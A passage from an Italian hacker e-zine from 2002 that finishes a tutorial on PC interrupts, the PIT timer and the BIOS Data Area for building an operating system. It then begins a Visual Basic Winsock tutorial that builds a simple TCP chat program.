| 11 73h VARI UTILIZZI |
| 12 74h VARI UTILIZZI |
| 13 75h FPU EXCEPTION |
| 14 76h HARD DISK |
| 15 77h VARI UTILIZZI |
| |
| Nota: la IRQ 9 non esiste piu' ed e' equivalente all'IRQ 2 per ragioni |
| di compatibilita' con le vecchie mappature dei sistemi XT. Se ve |
| l'avessi detto prima, avrei confuso la questione ancora di piu'. La IRQ |
| 2 puo a sua volta essere usata per LPT2 su sistemi a video EGA, mentre |
| su quelli VGA, praticamente tutti quelli odierni, e' riservata alla |
| scheda video. |
| |
| Come vedete dalla tabella, molte IRQ corrispondono irrimediabilmente a |
| delle periferiche. Si potrebbe dire che di recente anche la IRQ 5 e' |
| stata "riservata" alla scheda audio, poiche' spesso una piccola Sound |
| Blaster e' integrata nella stessa motherboard ed in genere e' connessa a |
| quella IRQ, ma la cosa non e' "ufficiale". |
| |
| Il buon vecchio floppino ha la sua IRQ personale, che serve a comunicare |
| quando una lettura/scrittura e' terminata; gloria al buon vecchio |
| floppino, grazie al quale siamo in grado di installarci un bel bootstrap |
| loader senza complicarci troppo le cose, almeno inizialmente, e grazie |
| al quale possiamo avviare il PC anche quando il S.O. dell'HARD DISK fa i |
| capricci; guardatevi di chi vuole toglierlo di circolazione... sarebbe |
| il modo per complicare ulteriormente gli affari semplici: la strada |
| giusta e' mantenere la sua interfaccia, chiamata Legacy ISA, ma |
| espandere la sua capacita', dato che tale interfaccia puo agevolmente |
| raggiungere gli 8,4 gigabytes. |
| La SONY ci ha gia' provato, ed altri l'hanno seguita. Prima o poi |
| qualcuno ce la fara', o almeno e' quel che spero. |
| |
| Poi c'e' l'IRQ zero, che si traduce in una chiamata al vettore |
| d'interrupt numero otto, e che si chiama SYSTEM TIMER. Preparatevi ad |
| essere ancora piu' confusi. L'IRQ zero e' connessa al canale zero del |
| PIT. Oh, no! Cos'e' questo PIT ora? Un'altra sigla? Eh, si. E' il |
| Programmable Interval Timer. |
| Una cosina davvero utile senza la quale i S.O. multitasking, e anche |
| molti altri compiti della macchina, avrebbero grandissime difficolta' |
| nella loro sincronizzazione. Il PIT ha quattro canali, numerati da zero |
| a tre. |
| Il canale zero e' connesso alla linea dell'IRQ zero, in modo che quando |
| il PIT lo comanda, puo far scattare la sua IRQ, ovvero l'interrupt |
| numero 8. |
| E questo avviene, fin dal boot, normalmente 18,2 volte al secondo. |
| Il canale uno NON VA USATO NEMMENO MORTI, perche' e' quello che regola |
| il refresh della memoria (parlo della DRAM, la memoria vera e propria, |
| quella di lavoro). Se alterato, nel migliore dei casi il sistema si |
| pianta, dato che la memoria RAM ha bisogno di periodici impulsi di |
| "refresh" perche' essa conservi intatti i suoi contenuti. |
| Il canale due non e' inizialmente usato, ma puo essere connesso al PCIS, |
| il buon vecchio PC Internal Speaker, quell'affarino che fa "beep" quando |
| accendete il computer, che fa "tac" quando scorrete in fondo a un testo, |
| e che i tecnici meno provvisti di materia grigia montano vicino all'HD. |
| Per curiosita', quei drivers e programmi che usano il PCIS per far |
| suonare delle registrazioni di audio digitale, usano un trucchetto che |
| consiste nell'uso combinato dei canali zero e due del PIT, in modo da |
| ottenere un'alternarsi di accensioni e spegnimenti dell'altoparlante che |
| alla fine e' talmente rapido da far sembrare che l'altoparlante sia |
| mezzo acceso, mezzo spento, e l'orecchio non riesce a distinguere i |
| singoli movimenti, trasformando di fatto il PCIS in un convertitore |
| digitale-analogico come quelli che si trovano nelle schede audio. Ma lo |
| svantaggio e' che ha un solo canale (mono) e non puo suonare a volume |
| molto elevato, a meno che non si apra la motherboard e vi si colleghi un |
| amplificatore... Il canale tre ha vari utilizzi, ma e' bene lasciarlo |
| stare: in genere e' riservato al BIOS e gli scopi a cui presiede sono |
| piuttosto importanti, anche se poco documentati. |
| |
| Secondo me qualcuno, divagazioni a parte, mi chiederebbe che diamine ha |
| a che fare tutto questo con lo sviluppo di un S.O. Be', se ne volete uno |
| multithreading (parte degli attributi di un sistema multitasking) e' |
| molto importante che sincronizziate i threads ed assegnate tempo |
| macchina ai vari programmi tramite il canale zero del PIT. E' il modo |
| piu' semplice e sicuro per farlo, anche se personalmente preferisco i |
| sistemi single-task. |
| La velocita' del canale zero del PIT e' variabile, puo essere |
| riprogrammata, anche se al momento non vi dico come, per non distrarvi. |
| Potete anche fare in modo che l'interrupt 8 venga chiamata piu' di un |
| milione di volte al secondo, anche se non potete fare in modo che venga |
| chiamata MENO di 18,2 volte al secondo: dipende dalla frequenza di |
| oscillazione del cristallo (XTAL) interno al chip chiamato PIT. |
| Questa frequenza e' fissata a 1234DDh Hertz - calma - ho solo espresso |
| la frequenza in hex... e' piu' facile da ricordare, 1234DDh: in |
| decimale, in effetti, sono 1.193.181 hertz, ovvero 1,193181 MHz. Il PIT |
| e' programmato per generare l'IRQ zero in una delle sue modalita' (del |
| PIT) chiamata "interrupt on terminal count", ossia "chiama |
| quell'interrupt quando finisci un certo tuo conto alla rovescia |
| interno". Quest'ultima fa si che il PIT generi l'IRQ periodicamente, |
| dato che alla fine del conto alla rovescia la chip ricomincia a contare |
| partendo da un certo valore. Questo valore e' quel che si usa variare |
| per stabilire la frequenza con cui l'IRQ e' generata. Ovviamente, si |
| tratta di un periodo forzatamente multiplo della frequenza |
| dell'oscillatore al quarzo (il XTAL); il registro interno al PIT che |
| effettua il conto alla rovescia e' a 16 bit, e quindi puo contare un |
| massimo di 65.536 unita'. |
| Il BIOS, per convenzione, setta questo valore appunto a 65.536, il |
| "conteggio massimo del PIT". |
| Ora, se dividete la frequenza di 1.193.181 cicli al secondo per 65.536, |
| prendete due piccioni con una fava: vi rendete conto della |
| corrispondenza tra la frequenza di XTAL e la frequenza di chiamata |
| dell'IRQ zero, e in piu' di come ottenere una qualsiasi altra frequenza |
| che vi faccia comodo. |
| Infatti, 1.193.181 diviso per 65.536 da' 18,2064971923828... cioe' |
| proprio la frequenza di chiamata di IRQ zero cosi come la intende il |
| BIOS. |
| Allora, dopo piu' di 300 righe abbiamo finito con i vettori d'interrupt? |
| Ho detto molte cose, ma dovevo dirle proprio tutte, e c'e' ben poco da |
| fare per semplificare la questione: non e' semplice e non pretende di |
| esserlo. Non mi aspetto che sia immediatamente comprensibile: gli |
| argomenti si rincorrono, e si aprono uno dentro l'altro, perche' e' cosi |
| che funziona; e' difficile tenergli dietro, ma di certo potete RILEGGERE |
| il tutto quante volte volete, magari usando carta e penna per fare utili |
| schemini. E... no, non abbiamo finito. |
| |
| Mah, probabilmente a questo punto sarete abbastanza confusi e non vi |
| accorgerete, almeno alla prima lettura, e a meno di avere un QI ben |
| sopra ai 200, che c'e' un apparente conflitto tra i vari usi dei vettori |
| compresi tra 8 e 15 (o tra 8h ed Fh esprimendoli in esadecimale). |
| Infatti, il vettore 8 era usato dalla CPU per segnalare un DOUBLE FAULT, |
| eppure viene anche chiamato 18,2 volte al secondo, via PIT channel zero. |
| Che significa questo? Che 18,2 volte al secondo avviene un DOUBLE FAULT? |
| Neanche per idea: i gestori di tali situazioni, i programmi che |
| reagiscono alle chiamate al vettore 8, coincidono, ma c'e' un modo per |
| distinguere le IRQ dalle "eccezioni" generate dal processore. Infatti, |
| il processore ci segnala che si tratta di una chiamata conseguente |
| un'eccezione, come il DOUBLE FAULT, salvando un valore sullo stack. E' |
| un valore a 32 bit, che rappresenta un codice d'errore. Quando ne |
| sapremo di piu', potremo allora confrontare l'immagine dello stack e |
| verificare se corrisponde ad una normale chiamata d'interrupt (niente |
| codice d'errore) oppure ad una vera e propria eccezione (codice d'errore |
| presente). Questo si applica anche alle altre interrupts al di sotto del |
| vettore numero 32, che in teoria possono tutte essere usate come canali |
| per le "eccezioni" del processore. |
| |
| E gli altri vettori, quelli sopra al 15, vengono usati per altri cose |
| oltre che per eventuali eccezioni della CPU? Si, e sono molto |
| importanti. I vettori da 10h a 1Fh sono infatti riservati ai dispatchers |
| del BIOS. |
| Bene! Cos'e' un "dispatcher"? E' una piccola subroutine che risponde |
| alla chiamata, operata *via software*, ad un certo vettore d'interrupt. |
| Ora, per fare una chiamata del genere, si usa il comando assembly "int", |
| seguito dal numero di vettore che si vuole chiamare. I dispatchers hanno |
| il compito di interpretare quello che noi abbiamo richiesto al BIOS; |
| infatti, tutti i vettori del BIOS hanno bisogno, prima di essere |
| chiamati, che i registri della CPU siano impostati a determinati valori, |
| e tali valori dipendono da quello che vogliamo che il BIOS faccia per |
| noi. Per esempio, se volessimo impostare una modalita' grafica 320x200 |
| con 256 colori, quella che viene chiamata anche MCGA, e che ad esempio |
| Windows usa per mostrare il suo "logo" durante il caricamento (in |
| realta' usa una versione "tweaked" della MCGA, chiamata ModeX, ma |
| discende in linea diretta dalla MCGA e per aprire un ModeX il primo |
| passo e' comunque questo), dovremmo impostare il registro AX, che e' a |
| 16 bit, al valore 0013h. |
| Dopodiche', dovremmo fare una chiamata ai "BIOS Video Services", ovvero |
| a quel vettore che smista le chiamate alle varie funzioni del BIOS che a |
| loro volta sovrintendono alla manipolazione delle porte che connettono |
| la motherboard alla scheda video. |
| I "BIOS Video Services" sono tutti accessibili tramite il vettore 10h, |
| ovvero l'interrupt numero 16. Quindi, il codice assembly per aprire la |
| modalita' MCGA e', in definitiva, il seguente: |
| |
| MOV AX, 0013h |
| INT 10h |
| |
| oppure, evidenziando le parti del registro AX, chiamate AL ed AH: |
| |
| MOV AH, 00h ; AH contiene un codice operativo per INT 10h |
| MOV AL, 13h ; AL contiene un parametro per il codice operativo 00h |
| INT 10h ; chiama il dispatcher dei BIOS Video Services |
| |
| I vari files "interrup.a", "interrup.b", "interrup.c" degli archivi di |
| Ralf Brown sono un comprendio, se non proprio di tutte, di gran parte |
| delle possibili chiamate ai dispatchers, sia a quelli del BIOS che a |
| quelli del DOS. Questi ultimi pero, nel nostro caso, non ci interessano. |
| Proprio per questo e' utile sapere che essendo le interrupts, in quei |
| files, raggruppate in ordine numerico, i files piu' interessanti sono i |
| primi cinque, ovvero quelli chiamati da "interrup.a" fino a |
| "interrup.e". Tuttavia, gli elenchi di Ralf annoverano chiamate di ogni |
| genere, non soltanto relative al BIOS, quindi e' utile far caso a CHE |
| COSA, in effetti, eseguira' il comando, dato che nella nostra situazione |
| non possiamo contare sulle chiamate ammesse da sistemi operativi e/o |
| drivers caricati come software. Per esempio: |
| |
| --------V-1000------------------------------- |
| INT 10 - VIDEO - SET VIDEO MODE |
| AH = 00h |
| AL = desired video mode (see #00010) |
| Return: AL = video mode flag (Phoenix, AMI BIOS) |
| 20h mode > 7 |
| 30h modes 0-5 and 7 |
| 3Fh mode 6 |
| AL = CRT controller mode byte (Phoenix 386 BIOS v1.10) |
| Desc: specify the display mode for the currently active display |
| adapter |
| |
| Qui sopra e' un estratto dell'elenco "interrup.a", relativo proprio alla |
| chiamata per impostare una nuova modalita' video, di cui parlavo poco |
| fa. La cosa e' ragionevolmente fattibile, ci si puo aspettare che sia |
| largamente supportata da pressoche' tutti i BIOS, in quanto e' |
| dichiarata come parte delle funzioni "VIDEO", e non vi sono indicazioni |
| specifiche per particolari tipi di scheda, o relative a un qualche |
| driver software. |
| Per fare un esempio di una funzione NON supportata da tutti i BIOS, |
| basta scorrere l'elenco fino al paragrafo successivo, il quale riporta: |
| |
| --------V-10007E----------------------------- |
| INT 10 - VIDEO - Paradise VGA, AT&T VDC600 - SET SPECIAL MODE |
| |
| Questo tipo di chiamata, come si vede dall'intestazione, e' supportata |
| solo da schede Paradise VGA, oppure AT&T VDC600. Siccome non stiamo |
| sviluppando dei drivers specifici, ma bensi il KERNEL del nostro S.O., |
| non possiamo rivolgere le nostre attenzioni a particolari dispositivi: |
| il KERNEL deve poter funzionare pressoche' ovunque. |
| |
| 0040h - BDA (BIOS Data Area), di 256 bytes, ma MOLTO densi di |
| significati. |
| Anche per quest'area, vi rimando ai files di Ralf Brown, in particolare |
| al file chiamato "memory.lst", perche' sebbene stia cercando di spiegare |
| tutto quello che posso, descrivere per esteso tutte le locazioni di |
| quest'area farebbe davvero diventare questo capitolo un tantino troppo |
| lungo. |
| In breve, quest'area contiene molte locazioni abbastanza importanti: |
| come prima cosa gli indirizzi delle varie porte seriali e parallele... |
| |
| 0040:0000 - Indirizzo di base della porta COM1 (di solito contiene |
| 03F8h) |
| 0040:0002 - Indirizzo di base della porta COM2 (di solito contiene |
| 03E8h) |
| 0040:0004 - Indirizzo di base della porta COM3 (zero se non presente) |
| 0040:0006 - Indirizzo di base della porta COM4 (zero se non presente) |
| 0040:0008 - Indirizzo di base della porta LPT1 (prima porta parallela) |
| 0040:000A - Indirizzo di base della porta LPT2 (zero se non presente) |
| 0040:000C - Indirizzo di base della porta LPT3 (zero se non presente) |
| 0040:000E - Indirizzo di base della porta LPT4 (oppure indirizzo |
| dell'XBDA) |
| |
| Gli indirizzi di base si riferiscono agli indirizzi di I-O di alcune |
| porte, chiamate appunto "porte di I-O", tramite le quali vengono |
| controllate le periferiche a bassissimo livello. Raramente si ha la |
| necessita' di scendere al livello delle porte di I-O per sfruttare una |
| periferica, e per questo dobbiamo ringraziare i dispatchers del BIOS, |
| che in massima parte fanno proprio questo sporco lavoro per noi. |
| Tuttavia, alcuni casi, come quelli delle porte COM ed LPT, richiedono |
| ancora tali manovre. Altri casi molto frequenti sono quelli relativi al |
| mouse BUS, quando il mouse non e' seriale, ed al settaggio dei registri |
| di controllo del circuito CRT della scheda video, il quale controlla |
| moltissimi aspetti della visualizzazione. |
| Nello sviluppo di un prototipo di KERNEL, toccheremo i vari aspetti... |
| |
| Poi ci sono molti altri indirizzi utili, solo che una descrizione |
| accurata richiederebbe troppo spazio, e quindi mi vedo costretto a |
| rimandarla ai prossimi capitoli. Per ora, se volete esercitare il vostro |
| intuito, vi mostro un breve catalogo "ufficiale" delle locazioni, per il |
| quale non ho crediti da presentare in quanto l'ho scritto io. Le |
| locazioni che iniziano per "b" sono lunghe 1 byte, quelle che iniziano |
| per "w" sono lunghe 1 word, ovvero 16 bits, ovvero 2 bytes, e infine |
| quelle che iniziano per "d" sono delle doublewords, ovvero 32 bits, |
| ovvero 4 bytes. |
| |
| bdta = 00000400h ; Base address of the Bios Data |
| ; Area |
| w_bios_XBDA_segment = 0Eh+ bdta ; XBDA Segment if no LPT4 present |
| w_bios_installedHW = 10h+ bdta ; Installed hardware |
| b_bios_POSTflags = 12h+ bdta ; POST control flags (informative) |
| w_bios_BaseMemorySize = 13h+ bdta ; Legacy memory size expressed in |
| ; Kb. |
| w_bios_AdapterMemSize = 15h+ bdta ; Video adapter memory in Kb. |
| ; (PC/XT) |
| b_bios_KeyClickVolume = 16h+ bdta ; Only for compaq deskpro 386 |
| b_bios_KBDLedStatus = 17h+ bdta ; Keyboard status flags (LEDs |
| ; control) |
| b_bios_KBDCtrStatus = 18h+ bdta ; Second group of keyb. status |
| ; lags |
| b_bios_KBDAltCode = 19h+ bdta ; Keypad ALT + NNN code |
| w_bios_KBDBufferTop = 1Ah+ bdta ; Holds ptr to the next key in |
| ; buffer |
| w_bios_KBDBufferFree = 1Ch+ bdta ; Holds ptr to first free slot in |
| ; bfr |
| w_bios_KBDBuffer = 1Eh+ bdta ; Keyboard circular buffer (16 |
| ; words) |
| b_bios_floppyrecalibrate = 3Eh+ bdta ; Floppy: drive recalibration |
| ; status |
| b_bios_floppymotor = 3Fh+ bdta ; Floppy: motor status |
| b_bios_floppytimeout = 40h+ bdta ; Floppy: timer ticks to motor off |
| b_bios_floppystatus = 41h+ bdta ; Floppy: status of last operation |
| b_bios_diskctrlbytes = 42h+ bdta ; FD/HD disk activity control |
| ; bytes |
| b_bios_currentvideomode = 49h+ bdta ; OEM code of current video mode |
| w_bios_columnsonscreen = 4Ah+ bdta ; Effective in text modes |
| w_bios_regenbuffersize = 4Ch+ bdta ; - - - - |
| w_bios_regenstart = 4Eh+ bdta ; - - - - |
| w_bios_cursorspos = 50h+ bdta ; - - - - |
| w_bios_cursorshape = 60h+ bdta ; - - - - |
| b_bios_currentpage = 62h+ bdta ; - - - - |
| w_bios_controllerIOaddr = 63h+ bdta ; Normally, 03B4h=mono, 03D4h=color |
| b_bios_videomodeselect = 65h+ bdta ; Last value written to #3B8h/3D8h |
| b_bios_cgapalettesetting = 66h+ bdta ; Last value written to port #3D9h |
| d_bios_resetstartptr = 67h+ bdta ; Pointer to warm reset handler |
| d_bios_ticksincemidnite = 6Ch+ bdta ; Updated by INT 08h from the PIC |
| b_bios_timeroverflow = 70h+ bdta ; Set to 1 if midnight passed |
| b_bios_ctrlbreakflag = 71h+ bdta ; Used to remember a ctrl-break |
| ; event |
| w_bios_POSTresetflag = 72h+ bdta ; Action to perform upon warm reset |
| b_bios_HDstatus = 74h+ bdta ; Last HD operation status |
| b_bios_numberofHDs = 75h+ bdta ; Number of Hard Drives |
| b_bios_HDcontrolbyte = 76h+ bdta ; HD control byte (XT only) |
| b_bios_HDcontrolport = 77h+ bdta ; HD control port address (XT only) |
| b_bios_lpt1timeout = 78h+ bdta ; 1st parallel port time-out count. |
| b_bios_lpt2timeout = 79h+ bdta ; 2nd parallel port time-out count. |
| b_bios_lpt3timeout = 7Ah+ bdta ; 3rd parallel port time-out count. |
| b_bios_lpt4timeout = 7Bh+ bdta ; 4th parallel port time-out count. |
| b_bios_int4bflags = 7Bh+ bdta ; Status flags for int 4B |
| b_bios_com1timeout = 7Ch+ bdta ; 1st serial port time-out count. |
| b_bios_com2timeout = 7Dh+ bdta ; 2nd serial port time-out count. |
| b_bios_com3timeout = 7Eh+ bdta ; 3rd serial port time-out count. |
| b_bios_com4timeout = 7Fh+ bdta ; 4th serial port time-out count. |
| w_bios_keybufferstart = 80h+ bdta ; keyboard buffer start (always |
| ; 1Eh) |
| w_bios_keybufferendp1 = 82h+ bdta ; - - end (always |
| ; 3Eh) |
| b_bios_rowsonscreenm1 = 84h+ bdta ; text lines on the screen, - 1 |
| b_bios_scanlinesperchar = 85h+ bdta ; scan lines for each character |
| b_bios_videocontrol = 87h+ bdta ; only for EGA/VGA. zero on CGA. |
| b_bios_videoswitches = 88h+ bdta ; video switches for MDA/EGA/VGA. |
| b_bios_modesetoptions = 89h+ bdta ; effective on MCGA and VGA. |
| b_bios_displayCTBLindex = 8Ah+ bdta ; display comb. table index |
| b_bios_diskettemediactrl = 8Bh+ bdta ; diskette media control |
| |
| Be', forse qualcuno vorra' provare a smanettare un po', ma vi consiglio |
| di essere prudenti: e' roba importante, direi che si tratta di "parti |
| intime" del PC, senza riferimenti a qualcosa di pornografico... ;) |
| Per chi vuol dare un'occhiata alla BDA operante "in diretta", ho incluso |
| fra gli attachments di questo capitolo un programmino che si chiama |
| AROM, e che mostra appunto quella parte di memoria che corrisponde alla |
| BDA. Mentre il programma sta girando, potete osservare numerose reazioni |
| del BIOS. Ad esempio, vi accorgete che c'e' una locazione che varia di |
| continuo: e' quella chiamata "d_bios_ticksincemidnite", un vero e |
| proprio "orologio" il cui valore e' incrementato dall'interrupt 8, |
| quella legata ad IRQ zero, quella che viene chiamata 18,2 volte al |
| secondo. Provate anche a digitare qualcosa: vedrete alcune locazioni |
| animarsi in risposta alla pressione dei tasti, e se avete un minimo |
| d'occhio clinico potrete seguire le evoluzioni del buffer circolare |
| della tastiera. |
| Altro esperimento: provate ad accendere e spegnere i vari LEDs della |
| tastiera, il Num Lock (o Bloc Num in italiano), il Caps Lock (CIOE' IL |
| TASTO CHE HA QUESTO EFFETTO), lo Scroll Lock (o Bloc Scorr). Osservate |
| una delle locazioni delle prime righe reagire all'accensione/spegnimento |
| delle tre spie luminose: si tratta dei "keyboard status flags". Questi |
| sono davvero divertenti: come diverse altre locazioni della BDA, non |
| sono semplici flags, semplici locazioni di memoria, perche' sono |
| strettamente connessi all'interrupt di tastiera, che ne analizza le |
| variazioni e manda alla tastiera i comandi necessari per riflettere la |
| condizione dei flags sulle "reali" lucette. In breve: se fate un |
| programma che cambia il valore di quella locazione, precisamente la |
| 0040h:0017h, oppure 0000h:0417h, otterrete l'accensione e lo spegnimento |
| delle spie, proprio come se qualcuno avesse premuto uno dei tasti |
| corrispondenti. Una volta scrissi un programmino che faceva dei |
| giochetti luminosi con quelle spie... |
| Lo stesso avviene per il time-out del motore del floppy: si puo causare |
| l'accensione del motore, come l'accensione/spegnimento rapido, ma questo |
| ve lo sconsiglio... e' ovvio che il drive vi si puo rovinare facilmente. |
| Ah, e per uscire dal programma "AROM"... premete un pulsante del mouse. |
| |
| Be', siamo oltre la lunghezza massima dell'articolo gia' da un bel po'. |
| Stringere non sarebbe servito a molto: ci sono cose che o spiego nei |
| prossimi capitoli, o non spiego per niente, perche' tentare di spiegarle |
| in poche righe sarebbe inutile. Non ci si capirebbe nulla. Mi spiace |
| anche per la mancanza del promesso esempio di KERNEL, ma vi garantisco |
| che l'attesa non sara' vana: nel frattempo, lo rifiniro e lo commentero |
| per esteso. Ma non voglio che pensiate comunque di aver letto solo |
| spazzatura: uno dei primi compiti di un moderno KERNEL e' controllare lo |
| svolgimento di TUTTE le interrupts, figuratevi un po'... e soprattutto, |
| se vi avessi spiattellato davanti il sorgente di un KERNEL senza |
| spiegare nulla di quel che c'e' sotto, sarebbe stato comunque inutile. |
| Non sapete ancora tutto, fra l'altro: sono rimasto molto sul teorico |
| appositamente per passare alla pratica la prossima volta. |
| D'altronde, "tutto e subito" e' pur sempre un'utopia, no? Intanto, se |
| volete un consiglio, esercitate *PARECCHIO* l'assembly dei processori |
| Intel. Vi servira' come il pane. |
| Abbiate fiducia... vedrete, lo costruiremo, il nostro S.O. personale. |
| Ve lo promette uno che ne ha gia' scritti un paio ;)... potete fidarvi. |
| |
| Alexander The Great |
| alex.tg@tiscalinet.it |
| www.4t4.org |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #05 - 14/01/2002 |
| WiNS0CK e ViSUAL BASiC [Screener_it] 0x11/0x23 |
+--------------------------------------------------------------------------+
| |
| Dopo tanti articoli dedicati alle cazzate più immani che potete trovare |
| in internet mi sono finalmente deciso a scrivere qualcosa di serio.. |
| Oppure da meno lamer, a voi la scelta !! |
| L'argomento che andrò a trattare è cmq molto leggero e semplice da |
| comprendere, niente di impegnativo.. |
| /=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\= |
| Ok. Partiamo da ciò che ci serve.. |
| 1.-) Visual Basic 5 o successivi |
| 2.-) questo testo |
| Penso che quasi tutto quelli che leggeranno 'sto testo sanno |
| programmare in Visual Basic più o meno. Oppure sono l'unico che usa |
| 'sto cazzo di linguaggio ? Cmq se non lo sapete imparatelo, è |
| facilissimo e dà risultati interessanti.. |
| /=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\= |
| Come dicevo.. Ormai tutti sanno programmare, qual'è adesso come adesso |
| lo scoglio più grande per chi programma ? Passare a programmi che |
| sfruttato le potenzialità della rete. Infatti raramente negli help |
| troverete voci tipo "Internet" o altro di facilmente collegabile alla |
| programmazione di "rete". E al massimo quello che si trova è difficile |
| da capire e ci sono degli esempi che servono a poco o a niente. |
| Invece è tutto molto semplice (per lo meno le basi) ed io sono riuscito |
| a capire le basi in meno di un'ora grazie alle spiegazioni che |
| ho trovato. |
| Allora.. In Visual Basic per fare programmi che sfruttano le |
| potenzialità della rete (chat, finger, demoni, ecc..) abbiamo bisogno |
| di un oggetto un po' particolare.. Il Winsock. |
| E dove si trova il Winsock ? Aprite il vostro Visual Basic e andate nel |
| menù progetto e selezionate componenti. |
| Adesso scorrete l'elenco degli oggetti fino a trovare Microsoft Winsock |
| Control 5.0 (o versioni successivi.. Fate un po' voi !!). |
| Mettete il segno di spunta lì vicino e cliccate Ok. |
| Adesso nella barra degli strumenti sarà apparita un icona con due |
| computer. Andategli sopra con il mouse e apparirà la magica scritta.. |
| "Winsock". E adesso ? |
| Adesso bisogna inserirla nella form, no ? Selezionatela, posizionatevi |
| nella form e inseritela. |
| Ecco, adesso siete pronti per cominciare a programmare in rete. |
| Ok, adesso devo aprire una piccola parentesi.. Il Winsock supporta i |
| due principali protocolli della rete, cioè il TCP e l' UDP. |
| Bhè, non sto qui a spiegarvi l'esatta differenza millesimale tra i due, |
| dato che questo non è luogo e capirne la differenza non è essenziale. |
| Sappiate solo che i due protocolli sono diversi (se volete informarvi |
| cercate qualche testo su tutte le ezine che ci sono in rete..) e che |
| per i nostri scopi useremo principalmente il TCP. |
| Mh.. Onestamente con il winsock la teoria serve ben a poco e quindi |
| passeremo subito alla pratica così vi spieghero' passo a passo.. |
| La prima cosa, la più elementare ? Un programma di chat tra due |
| persone.. Per poi potersene vantarsene con gli amici. |
| |
| ________________________________________________ |
| ___________ ________ | |
| COLLEGATI A: |IP_________| |CONNETTI|__ | |
| SULLA PORTA: |PORTA______| |DISCONNETTI| | |
| |ASCOLTA_| | |
| ___________ | |
| STATO DELLA CONNESSIONE: |STATO______| | |
| ______________________________ | |
| | | | |
| |CHAT | | |
| | | | |
| | | | |
| | | | |
| |______________________________| | |
| ________________ _____ | |
| |TESTO___________| |INVIA| | |
| | |
| ________________________________________________| |
| |
| Questo è il disegnino della chat, ora però devo dirmi i nomi altrimenti |
| il codice che vi dò non vi và. Vi dò solo i nomi importanti, alcune |
| label come Collegati a, Porta, ecc.. sono ininfluenti. |
| Ip = txtip |
| porta = txtporta |
| Connetti = cmdconnetti |
| Disconnetti = cmddisconnetti |
| Ascolta = cmdascolta |
| stato = lblstato |
| chat = txtchat |
| testo = txttesto |
| invia = cmdinvia |
| Ricordatevi di impostare txtchat su multiline = true e scrollbars = |
| 2-Vertical, magari anche locked = True.. |
| Logicamente metteteci anche il controllo winsock e dategli come |
| name TCP1 |
| Ok, adesso vi passo il codice.. |
| Private Sub cmdascolta_Click() |
| lblstato.Caption = "IN ASCOLTO" |
| TCP1.LocalPort = Val(txtporta) |
| TCP1.Listen |
| End Sub |
| Private Sub cmdconnetti_Click() |
| If (TCP1.State <> sckClosed) Then TCP1.Close |
| TCP1.LocalPort = 0 |
| TCP1.Connect txtip, Val(txtporta) |
| End Sub |
| Private Sub cmdinvia_Click() |
| a$ = txttesto |
| txtchat = "Inviato:" & a$ & vbCrLf & txtchat |
| TCP1.SendData a$ |
| End Sub |
| Private Sub cmdisconnetti_Click() |
| lblstato.Caption = "INATTIVO" |
| TCP1.Close |
| End Sub |
| Private Sub TCP1_Close() |
| lblstato.Caption = "INATTIVO" |
| TCP1.Close |
| End Sub |
| Private Sub TCP1_Connect() |
| lblstato.Caption = "ATTIVO" |
| txtip = TCP1.RemoteHost |
| End Sub |
| Private Sub TCP1_ConnectionRequest(ByVal requestID As Long) |
| If (TCP1.State <> sckClosed) Then TCP1.Close |
| TCP1.LocalPort = 0 |
| TCP1.Accept requestID |
| lblstato.Caption = "ATTIVO" |
| txtip = TCP1.RemoteHostIP |
| End Sub |
| Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) |
| Dim Data As String |
| On Error Resume Next |
| TCP1.GetData Data |
| txtchat = "Ricevuto:" & Data & vbCrLf & txtchat |
| End Sub |
| Ecco qui.. 32 righe in tutto !! Per un chat (seppur molto basilare) |
| sono poche.. Per il funzionamento: i computer devono essere due. Uno |
| dei due mette un numero qualsiasi nella txt della porta e poi |
| clicca "Ascolta". |
| L'altro inserisce nella casella txtip l'ip del computer in ascolto e la |
| porta su cui è in ascolto e clicca Connetti |
| Però sarà meglio che ve le spiego, vero ? Allora.. |
| ==================================================================== |
| Private Sub cmdascolta_Click() |
| lblstato.Caption = "IN ASCOLTO" |
| TCP1.LocalPort = Val(txtporta) |
| TCP1.Listen |
| End Sub |
| Cliccando sul tasto "Ascolta" cambia la caption di lblstato. Ma questo |
| lo vedete da soli. |
| In più cliccando su "Ascolta" il winsock tramite il protocollo TCP |
| prende la porta che gli avete indicato in txt porta e poi si pone in |
| ascolto su quella. |
| TCP1.LocalPort = Val(txtporta) 'sceglie la porta |
| TCP1.Listen 'si pone in ascolto |
| ==================================================================== |
| Private Sub cmdconnetti_Click() |
| If (TCP1.State <> sckClosed) Then TCP1.Close |
| TCP1.LocalPort = 0 |
| TCP1.Connect txtip, Val(txtporta) |
| End Sub |
| Clicchiamo su Connetti.. Prima controlla che lo stato di TCP1 non si |
| chiuso e poi imposta la porta locale a zero. Infine si collega all'ip |
| che gli avete indicato in txtip sulla porta che gli avete indicato |
| su txtporta |
| TCP1.Connect txtip [IP CHE GLI AVETE DATO], Val(txtporta) [PORTA CHE |
| GLI AVETE DATO] |
| ==================================================================== |
| Private Sub cmdinvia_Click() |
| a$ = txttesto |
| txtchat = "Inviato:" & a$ & vbCrLf & txtchat |
| TCP1.SendData a$ |
| End Sub |
| Mh..Qui analizziamo uno dei comandi più importanti del |
| winsock.. SendData |
| Per chi sa l'inglese la comprensione è semplicissima !! SendData = |
| spedisci dati. |
| Tramite questo comando (sintassi: NOMEWINSOCK.SendaData |
| OGGETTODASPEDIRE ) spediamo al computer |
| con il quale siamo connessi una stringa di caratteri.. |
| In questo caso spediamo la variabile a$ a cui attribuiamo il testo |
| contenuto nella casella txttesto. |
| [ txtchat = "Inviato:" & a$ & vbCrLf & txtchat ] invece indica nella |
| casella txtchat deve apparire il contenuto della variabile a$ preceduta |
| dalla scritta "Inviato:" (così vediamo quello che abbiamo scritto noi e |
| quello che abbiamo ricevuto) e seguita dal precedente contenuto |
| di txtchat. |
| vbCrLf per chi non lo sapesse è uguale a Invio. |
| ==================================================================== |
| Private Sub cmdisconnetti_Click() |
| lblstato.Caption = "INATTIVO" |
| TCP1.Close |
| End Sub |
| C'è da poco spiegare.. Chiude la connessione tramite il comando close. |
| L'altra riga cambia solo il contenuto della casella che indica lo stato |
| della connessione. |
| ==================================================================== |
